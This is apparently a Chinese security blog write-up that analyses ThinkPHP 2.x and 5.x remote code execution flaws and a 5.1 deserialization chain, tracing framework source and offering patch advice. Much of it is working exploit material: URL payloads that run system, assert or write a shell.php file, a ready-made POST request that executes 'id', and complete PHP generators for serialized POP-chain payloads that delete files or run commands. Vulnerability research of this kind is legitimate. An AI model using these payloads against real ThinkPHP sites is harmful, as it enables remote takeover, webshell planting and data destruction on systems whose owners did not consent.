2-rce
影响版本
2.X
漏洞分析
很老的一个RCE了,利用方式也是现在开发都会犯法的正则执行漏洞,即类似结构:
preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
这个利用并不难,具体的文章可以参考先知社区的深入研究preg_replace与代码执行
在tp2的/ThinkPHP/Lib/Think/Util/Dispatcher.class.php Line 102中有:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
我们知道在正则表达式/e
参数下,$replacement
参数钟的代码会被执行,而双引号中的参数又默认被PHP引擎执行。这里的第二个变量通过双引号进行传入,而这里的implode函数可以拼接数组。在这里我们可以查看tp下的版本变量进行测试:
${@print(THINK_VERSION)}
接下来我们就需要找变量传入的方式了。我们打下断点,看下具体执行到正则表达式时:
懒人拼接一下,再稍微改一下结构,在这里的正则表达式等效于:
$res = preg_replace('/(\w+)/([^/\/]+)/e', '$var[\'\\1\']="\\2";', "param/${@print(THINK_VERSION)}");
这里的param是我们传入的参数名,而后面的命令执行是我们传入的参数值。这里的作用是利用正则表达式给参数名附上参数值。
这里的1和2又是什么意思呢,我们可以看下W3C给我们的解释:
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
https://www.w3cschool.cn/zhengzebiaodashi/regexp-syntax.html
换句话说,这里1获取的是变量名即param,2获取的是我们需要执行的命令,这里就可以执行命令了,直接乱杀。
写shell也比较容易,这里有个比较傻逼的东西,我靶机搭在校内网然后直接被防火墙搞了,做了一波封号斗罗。爪巴。
总结下来,其实这里的RCE利用的并不是框架本身的漏洞,而是PHP正则表达式一直以来的高危函数利用方式,/e
参数且双引号执行命令。
修复建议
官方后续发布了补丁,将
$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));
修改为
$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=’\2′;’, implode($depr,$paths));
阻止了代码执行,最不需要成本和治本的修复方式。
其他的修复方式,例如禁止执行函数、修改权限都比较治标不治本。
至于2021年,真的没什么人用tp2了,时代的眼泪。
5-rce
影响版本
5.0.x < 5.0.22
5.1.x < 5.1.29
本地复现Github地址
用IDEA调试docker起的环境
漏洞分析
这个算是我最早接触到的框架漏洞了。
Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
下面是来自官方的解释:
本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
解释是getshell漏洞,如果无法更新最新的补丁,则要开启强制路由。
在ThinkPHP5框架中,默认开启路由兼容模式。
可以看到是否开启强制路由false
,且可以使用路由兼容模式s参数。
如果框架没有对控制器名进行足够的过滤检测,则可以通过提交参数调用任意类方法控制器。
http://website/?s=模块/控制器/方法
看下v5.1.x补丁的代码:
原代码:
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
$this->controller = $convert ? strtolower($controller) : $controller;
补丁代码:
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
$this->controller = $convert ? strtolower($controller) : $controller;
可以看到区别是,传入的$controller
之后,加了一层正则过滤。
添加代码的文件在thinkphp\library\think\route\dispatch\Module.php。
跟踪$controller
,在同一类中有另一个方法exec()
,在其中实例化控制器:
try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
if ($instance instanceof Controller) {
$instance->registerMiddleware();
}
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
可以看到这里调用的是app类里的controller()
方法,继续追踪:
thinkphp\library\think\App.php
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
传入的$name
为控制器,于是追踪parseModuleAndClass()
方法:
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}
$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}
这里有两次的strpos()
,如果参数中含有\
字符,则直接放回。
如果不包含反斜杠,则进入下面的判断,最后经过ParseClass解析。
public function parseClass($module, $layer, $name, $appendSuffix = false)
{
$name = str_replace(['/', '.'], '\\', $name);
$array = explode('\\', $name);
$class = Loader::parseName(array_pop($array), 1) . ($this->suffix || $appendSuffix ? ucfirst($layer) : '');
$path = $array ? implode('\\', $array) . '\\' : '';
return $this->namespace . '\\' . ($module ? $module . '\\' : '') . $layer . '\\' . $path . $class;
}
在parseClass()
中,将/
转换为\
,且用其进行分割。
进入parseName()
函数:
public static function parseName($name, $type = 0, $ucfirst = true)
{
if ($type) {
$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
return strtoupper($match[1]);
}, $name);
return $ucfirst ? ucfirst($name) : lcfirst($name);
}
return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}
其中连续调用了两次大小写转换函数。
最后返回拼接命名空间类型,放回命名空间的完整命名。
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
回到controller()
方法,$class
经过parseModuleAndClass()
处理后,会进行判断该类是否存在,存在返回类,不存在返回自动加载类。
接着是实例化,使用反射来调用类以及相关方法。
分析漏洞:刚传入参数时没有进行正则过滤,在parseModuleAndClass()
中,利用反斜杠区分命名空间,如果存在反斜杠直接返回类名。
EXP编写
尝试传入这样的参数:
?s=/index/think\app/index
试图调用app下的index方法:
返回报错,think/App目录下没有index方法,证明利用反斜杠,可以调用方法。
那么要做的就是寻找在目录下可以getshell的方法。
在用户提交参数后,参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法。
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
而 filterValue 方法中使用了 call_user_func 。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $value;
}
那么我们就来尝试利用这个方法。访问如下链接:
?s=index/\think\Request/input&filter[]=system&data=ls
尝试调用system(‘ls’),可以发现执行了`ls`命令,攻击成功。
常见payload
5.0与5.1兼容的多平台类:
think\Route
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log
5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
修复建议
及时更新最新版本
关闭强制路由
5.0.23-rce
官方commit
payload
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
5 反序列化
反序列化
在刚接触反序列化漏洞的时候,更多遇到的是在魔术方法中,因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
刚开始审计代码的时候思路很乱,需要一步步的调试,再次感叹师傅的脑洞,挖链子的难度真的很高。
任意文件删除POC
漏洞的起点是 /thinkphp/library/think/process/pipes/Windows.php
的__destruct()
方法。
//thinkphp/library/think/process/pipes/Windows.php
public function __destruct()
{
$this->close();
$this->removeFiles();
}
该方法调用了两个类函数,分别是close()
以及removeFiles()
。
//thinkphp/library/think/process/pipes/Windows.php
public function close()
{
parent::close();
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}
//thinkphp/library/think/process/pipes/Windows.php
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
发现其中removeFiles()
是用来删除临时文件的。
//thinkphp/library/think/process/pipes/Windows.php
namespace think\process\pipes;
use think\Process;
class Windows extends Pipes
{
/** @var array */
private $files = [];
......
private function removeFiles()
{
foreach ($this->files as $filename) { //遍历files数组中的[new Pivot()]
if (file_exists($filename)) { //若存在该文件名便删除文件
@unlink($filename);
}
}
$this->files = [];
}
....
}
其中$this->files
变量可控,可以通过pop链控制变量进行任意文件删除。
//poc
<?php
namespace think\process\pipes; //构造的POC的命名空间应该与Windows类的命名空间一致
// 需要创建一个空类用于继承,否则报错
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}
echo base64_encode(serialize(new Windows()));
这条利用链通过构造函数设置了$file
变量,在调用__destruct()
函数时自动删除。
O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;s:44:"D:\phpstudy_pro\WWW\thinkphp\public\test.txt";}}
只要能找到反序列化字符串上传点,就可以实现任意文件删除。我们创建一个方法:
传入payload的调用链:
变量销毁:
利用链
回到removeFiles()
函数,其中用来判断$filename
是否存在调用了file_exists()
函数。
//thinkphp/library/think/process/pipes/Windows.php
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
跟进这个函数,发现在传参时,会自动将$filename
作为字符串进行处理。
如果传入的$filename是对象,在反序列化的对象被当做字符串进行处理时,会触发对象的__toString()
函数,全局搜索函数,跟进thinkphp/library/think/model/concern/Conversion.php
的第242行。
//thinkphp/library/think/model/concern/Conversion.php
public function __toString()
{
return $this->toJson();
}
调用了同文件中的toJson()
函数
//thinkphp/library/think/model/concern/Conversion.php
/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
调用了toArray()
函数,并进行了json加密
//thinkphp/library/think/model/concern/Conversion.php
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray()
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
代码比较长,拿出关键代码字段
//thinkphp\library\think\model\concern\Conversion.php
public function toArray()
{
$item = [];
$hasVisible = false;
...
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
...
}
我们这里的利用思路是找到可控变量,且它的方法参数也可控,即$可控变量->方法(参数可控)
。关注$this->append
参数可控,先跟进调用的$this->getRelation($key)
。
//thinkphp/library/think/model/concern/RelationShip.php
/**
* 获取当前模型的关联模型数据
* @access public
* @param string $name 关联方法名
* @return mixed
*/
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
如果这里同时满足两个条件,即is_null($name)
返回false
(即$name
参数不为空),且array_key_exists($name, $this->relation)
返回false时,返回空,同时调用$relation = $this->getAttr($key)
。
//thinkphp\library\think\model\concern\Attribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
...
return $value;
}
继续跟进getData($name)
//thinkphp\library\think\model\concern\Attribute.php
/**
* 获取对象原始数据 如果不存在指定字段返回false
* @access public
* @param string $name 字段名 留空获取全部
* @return mixed
* @throws InvalidArgumentException
*/
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
通过查看getData
函数我们可以知道$relation
的值为$this->data[$name]
,这个值我们可控。我们可以控制$relation为一个不存在的visable方法,会自动调用__call方法,找到回调函数call_user_func_array()。
需要注意的一点是这里类的定义使用的是
Trait
而不是class
。自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为trait
。通过在类中使用use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用use
关键字。然后我们需要找到一个子类同时继承了Attribute
类和Conversion
类。
站在上帝视角,我们找到了这么一个子类。
RCE
让我们整理一下整个pop利用链:
目前我们可以控制的变量有
- Windows类中的$files
- Conversion类中的$append
- Attribute类中的$data
/thinkphp/library/think/Request.php
中可以找到__call()
方法,在调用不存在的方法时被调用。
//thinkphp/library/think/Request.php
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this); //倒叙插入
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
但是这里我们只能控制$args
,所以这里很难反序列化成功,但是 $hook
这里是可控的,所以我们可以构造一个hook数组["visable"=>"method"]
,但是array_unshift()
向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。
在Thinkphp的Request类中还有一个功能filter
功能,我们可以尝试覆盖filter
的方法去执行代码。
//thinkphp/library/think/Request.php
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
.....
}
但是传入的参数$value
不可控,于是找到可控$value
的方法。
//thinkphp/library/think/Request.php
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
....
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter); //这里的$data控制$value
}
...
}
但是input()
函数中的参数是不可控的,还得继续找能控制参数的方法,找到了param()
方法。
//thinkphp/library/think/Request.php
public function param($name = '', $default = null, $filter = '')
{
......
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
仍然是不可控的,继续寻找调用它的方法,找到了isAjax
//thinkphp/library/think/Request.php
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
在该函数中,我们可以控制$this->config['var_ajax']
,可控该参数就意味着param()
函数中的$name
可控,param()
函数可以获得$_GET
数组并赋值给$this->param
。进而可以控制input()
中的$name
参数和$data
参数。
$data = $this->getData($data, $name);
在getData($data, $name)
函数中,$name
的值来自 $this->config['var_ajax']
,跟进该函数。
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
这里$data
的值为$data[$val]
,跟进 getFilter()
//thinkphp/library/think/Request.php
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
我们需要定义this->filter
为函数名。再来看一下input()
函数,使用回调函数array_walk_recursive()
调用了filterValue()
函数。
//thinkphp/library/think/Request.php
/**
* 递归过滤给定的值
* @access public
* @param mixed $value 键值
* @param mixed $key 键名
* @param array $filters 过滤方法+默认值
* @return mixed
*/
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $value;
}
通过分析可以发现filterValue.value
的值为第一个通过GET请求的值,而filters.key
为GET请求的键,且filters.filters
就等于input.filters
的值。
构造payload,师傅们构造的payload如下。
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["calc.exe","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
参考链接
[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录
ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)